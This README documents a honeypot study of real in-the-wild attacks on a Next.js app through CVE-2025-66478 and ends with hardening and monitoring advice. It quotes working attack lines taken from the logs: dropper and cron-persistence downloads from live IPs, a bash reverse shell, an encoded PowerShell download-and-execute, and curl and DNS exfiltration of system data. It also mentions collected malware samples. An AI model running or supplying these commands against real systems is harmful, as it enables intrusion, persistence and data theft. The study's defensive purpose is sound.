CVE-2025-66478 - Analysis of Real Attack Logs for Next.js Server Actions RCE Vulnerability

Overview

This project collects real attack logs recorded from a Next.js 15.1.2 application (running in a Docker container) exposed to the internet. These logs show how the CVE-2025-66478 vulnerability is being extensively scanned and exploited by automated attack tools in the wild.

Logging Period: 2025-12-04 ~ 2025-12-06 (approximately 48 hours)

Environment Information:

• Framework: Next.js 15.1.2
• Runtime: Bun v1.2.20
• Container: Docker (Alpine Linux)
• Timezone: Asia/Taipei

Attack Type Statistics

1. Malware Download and Execution (Dropper/Downloader)

Attackers attempted to execute commands to download and run malware via the vulnerability.

Example Attack Commands

# Typical dropper attack
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a

# Implant cron persistence backdoor
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd

# Complex persistence attack (multiple download methods + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
  mkdir -p $d;
  if [ -w $d ]; then
    p="$d/$n";
    (curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
    chmod +x $p;
    nohup $p >/dev/null 2>&1 &
    (crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
    echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
    echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
  fi;
done

2. Reverse Shell

Attackers attempted to establish reverse shell connections for interactive access.

# Bash reverse shell
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"

3. PowerShell Attacks (Misjudged Windows Targets)

Attackers assumed the target was a Windows system and attempted to execute PowerShell commands.

# Base64-encoded malicious PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA

# Decoded:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')

# Mathematical calculations for vulnerability confirmation
powershell -c "41*271"      # = 11111 (signature confirmation)
powershell -c "44225*41002" # = 1814113450

4. Information Gathering

Attackers attempted to collect system information for subsequent attacks.

# Collect system info and exfiltrate
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`

5. Credential Harvesting

Attackers attempted to read various sensitive files and credentials.

Sensitive Paths Attempted

6. Environment Variable Leakage

Container environment variables successfully exfiltrated through the vulnerability:

HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0

7. DNS Exfiltration

Attackers used DNS queries for data exfiltration or vulnerability confirmation:

ping 5a58e4a0.log.dnslog.pp.ua.

Reasons for Attack Failures

Most attacks failed due to the minimal nature of the Alpine Linux container:

Although wget is available, some malicious scripts internally rely on curl or bash, leading to execution failure.

Base64 Decoding Examples

The logs contain large amounts of Base64-encoded data. Below are some decoded results:

System Information Exfiltration

# digest: 'cm9vdAo='
Decoded: root

# digest: 'dGVzdAo='
Decoded: test

# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
Decoded: vulnerability_test

# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
Decoded: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Directory Listing Exfiltration

# /tmp directory contents
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==

Decoded:
total 20
drwxrwxrwt    1 root     root          4096 Dec  5 18:00 .
drwxr-xr-x    1 root     root          4096 Dec  4 13:36 ..
-rwxr-xr-x    1 root     root          9848 Dec  5 18:00 INSTALL

Attack Source IP Statistics

Below are the recorded attack source IP addresses:

Exploitation Techniques (Attack Vectors)

Server Action Calls

Attackers attempted to call non-existent Server Actions:

Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"

Information Leakage in Error Responses

Attackers used the digest field in error messages to exfiltrate data:

Error: x
  digest: 'cm9vdAo='  // Base64 encoded 'root'

Teaching Highlights

1. Container Security Best Practices

• Minimal Images: Using lightweight base images (e.g., Alpine) reduces attack surface
• Remove Unnecessary Tools: Do not install tools like curl, bash, python that may be abused
• Read-Only Filesystem: Run containers with --read-only
• Non-Root User: Run applications with a non-privileged user

2. Vulnerability Patching

• Upgrade Next.js to a patched version
• Validate input to Server Actions
• Implement WAF rules to filter suspicious requests

3. Monitoring and Detection

• Monitor anomalous child process execution
• Monitor outbound network connections
• Monitor attempts to access sensitive files

Disclaimer

This project is for cybersecurity education and research purposes only. All recorded attacks are real attack attempts against a research honeypot. Do not use this information for any illegal purposes.

Malware Samples

This project contains real malware samples extracted and downloaded from attack logs. For detailed analysis, see:

malware_samples/ANALYSIS.md

Acquired Samples

Summary of Attack Techniques

1. nz.sh - Installs Nezha monitoring agent for remote monitoring of victim hosts
2. tsd.sh + tsd - Establishes multiple persistence mechanisms (cron + systemd + rc.local)
3. init.sh + agent - Complete backdoor framework supporting multiple systems, auto-restart, log recording

Related Resources

• Next.js Security Advisories
• OWASP - Command Injection
• MITRE ATT&CK - Execution

License

MIT License